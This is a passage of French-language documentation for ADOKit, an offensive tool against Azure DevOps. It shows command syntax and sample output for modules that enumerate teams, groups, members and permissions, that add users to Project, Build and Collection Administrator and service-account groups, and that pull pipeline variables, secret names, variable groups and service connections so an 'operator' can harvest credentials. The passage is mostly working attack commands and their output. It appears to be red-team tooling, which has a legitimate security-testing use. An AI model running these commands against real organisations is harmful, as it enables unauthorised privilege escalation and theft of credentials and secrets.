ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Get Team Members
#### Cas d'utilisation
> *Obtenir les membres d'une équipe donnée*
#### Syntaxe
Fournissez le module `getteammembers` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom de l'équipe, le nom d'utilisateur du membre et le nom d'affichage du membre.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Exemple de sortie```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Lister les groupes dans une instance Azure DevOps
Fournissez le module listgroup, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Recherche de groupes
#### Cas d'utilisation
> *Rechercher un ou plusieurs groupes dans une instance Azure DevOps*
#### Syntaxe
Fournissez le module `searchgroup` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe correspondant.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Exemple de sortie```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Lister tous les membres d'un groupe donné
Fournissez le module getgroupmembers et le(s) groupe(s) que vous souhaitez rechercher dans l'argument de ligne de commande /group:, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le user principal name du groupe correspondant, ainsi que chaque membre de ce groupe, y compris l'adresse e-mail et le nom d'affichage de l'utilisateur.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Obtenir les autorisations du projet
#### Cas d'utilisation
> *Obtenir la liste des personnes ayant des autorisations sur un projet donné.*
#### Syntaxe
Fournissez le module `getpermissions` et le projet que vous souhaitez rechercher dans l'argument de ligne de commande `/project:`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe correspondant. De plus, cela affichera les membres du groupe pour chacun de ces groupes.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Exemple de sortie```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Ajouter un utilisateur au groupe Administrateurs de projet pour un projet donné.
Fournissez le module addprojectadmin avec un /project: et /user: pour qu'un utilisateur soit ajouté au groupe Project Administrators pour le projet donné. En outre, fournissez les informations d'authentification pertinentes et l'URL. Consultez Tableau des détails des modules pour les autorisations nécessaires à cette action.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Supprimer l'administrateur de projet
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe `Project Administrators` pour un projet donné.*
#### Syntaxe
Fournissez le module `removeprojectadmin` avec `/project:` et `/user:` pour qu'un utilisateur donné soit retiré du groupe `Project Administrators` pour le projet donné. En outre, fournissez également les informations d'authentification et l'URL appropriées. Consultez la [Table des détails du module](#module-details-table) pour connaître les autorisations nécessaires pour effectuer cette action.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Ajouter un utilisateur au groupe Build Administrators pour un projet donné.
Fournissez le module addbuildadmin avec /project: et /user: pour qu'un utilisateur donné soit ajouté au groupe Build Administrators pour le projet donné. Fournissez également les informations d'authentification pertinentes et l'URL. Consultez le Tableau des détails du module pour les autorisations nécessaires à cette action.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Supprimer l'administrateur de build
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe Build Administrators pour un projet donné.*
#### Syntaxe
Fournissez le module `removebuildadmin` avec un `/project:` et `/user:` pour qu'un utilisateur donné soit supprimé du groupe `Build Administrators` pour le projet donné. De plus, fournissez les informations d'authentification et l'URL pertinentes. Consultez la [Table des détails des modules](#module-details-table) pour connaître les autorisations nécessaires pour effectuer cette action.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Ajouter un utilisateur au groupe Administrateurs de la collection de projets.
Fournissez le module addcollectionadmin avec /user: pour qu'un utilisateur donné soit ajouté au groupe Project Collection Administrators. De plus, fournissez toutes les informations d'authentification et l'URL pertinentes. Consultez le Tableau des détails des modules pour les autorisations nécessaires à cette action.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Supprimer l'administrateur de collection
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe Administrateurs de la collection de projets.*
#### Syntaxe
Fournissez le module `removecollectionadmin` avec un `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Administrators`. De plus, fournissez les informations d'authentification pertinentes et l'URL. Consultez [Tableau des détails des modules](#module-details-table) pour les autorisations nécessaires à cette action.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Ajouter un utilisateur au groupe Administrateurs de collection de build d'un projet.
Fournissez le module addcollectionbuildadmin avec un paramètre /user: pour un utilisateur donné à ajouter au groupe Project Collection Build Administrators. Fournissez également toutes les informations d'authentification et l'URL pertinentes. Consultez le Tableau des détails des modules pour les autorisations nécessaires à cette action.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Supprimer l'administrateur de collection de builds
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe Administrateurs de collection de builds de projet.*
#### Syntaxe
Fournissez le module `removecollectionbuildadmin` avec un `/user:` pour un utilisateur donné à supprimer du groupe `Administrateurs de collection de builds de projet`. Fournissez également les informations d'authentification et l'URL appropriées. Consultez [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires à cette action.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Ajouter un utilisateur au groupe Project Collection Build Service Accounts.
Fournissez le module addcollectionbuildsvc ainsi qu'un /user: pour un utilisateur donné à ajouter au groupe Project Collection Build Service Accounts. De plus, fournissez toutes les informations d'authentification pertinentes et l'URL. Voir Tableau des détails du module pour les autorisations nécessaires pour effectuer cette action.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Supprimer le compte de service de build de collection
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe Project Collection Build Service Accounts.*
#### Syntaxe
Fournissez le module `removecollectionbuildsvc` avec `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Build Service Accounts`. De plus, fournissez toutes les informations d'authentification pertinentes et l'URL. Voir [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires pour effectuer cette action.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Ajouter un utilisateur au groupe Project Collection Service Accounts.
Fournissez le module addcollectionsvc avec un /user: pour qu'un utilisateur donné soit ajouté au groupe Project Collection Service Accounts. Fournissez également toute information d'authentification pertinente et l'URL. Consultez le Tableau des détails du module pour les autorisations nécessaires à cette action.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Supprimer le compte de service de collection
#### Cas d'utilisation
> *Supprimer un utilisateur du groupe des comptes de service de collection de projet.*
#### Syntaxe
Fournissez le module `removecollectionsvc` avec un paramètre `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Service Accounts`. De plus, fournissez les informations d'authentification pertinentes et l'URL. Consultez le [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires à cette action.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemple de sortie```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Extraire toutes les variables de pipeline utilisées dans un ou plusieurs projets, qui pourraient contenir des identifiants ou d'autres informations utiles.
Fournissez le module getpipelinevars avec un /project: pour un projet donné afin d'extraire toutes les variables de pipeline utilisées. Si vous souhaitez extraire les variables de pipeline de tous les projets, spécifiez all dans l'argument /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Obtenir les secrets de pipeline
#### Cas d'utilisation
> *Extrayez les noms de tous les secrets de pipeline utilisés dans les projets, ce qui indiquera à l'opérateur où tenter d'extraire les secrets.*
#### Syntaxe
Fournissez le module `getpipelinesecrets` avec un argument `/project:` pour un projet donné afin d'extraire les noms de tous les secrets de pipeline utilisés. Si vous souhaitez extraire les noms des secrets de pipeline de tous les projets, spécifiez `all` dans l'argument `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemple de sortie```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Extraire tous les groupes de variables et les variables correspondantes utilisées dans un ou plusieurs projets, qui pourraient contenir des identifiants ou d'autres informations utiles.
Fournissez le module getvariablegroups avec un /project: pour un projet donné afin d'extraire les groupes de variables utilisés. Si vous souhaitez extraire les groupes de variables de tous les projets, spécifiez all dans l'argument /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Obtenir les connexions de service
#### Cas d'utilisation
> *Répertorie toutes les connexions de service utilisées dans un ou plusieurs projets, ce qui orientera l'opérateur vers l'endroit où tenter d'extraire les identifiants pour toutes les connexions de service utilisées.*
#### Syntaxe
Fournissez le module `getserviceconnections` avec un `/project:` pour un projet donné afin de répertorier toutes les connexions de service utilisées. Si vous souhaitez lister les connexions de service utilisées dans tous les projets, spécifiez `all` dans l'argument `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemple de sortie
C:>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getserviceconnections Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
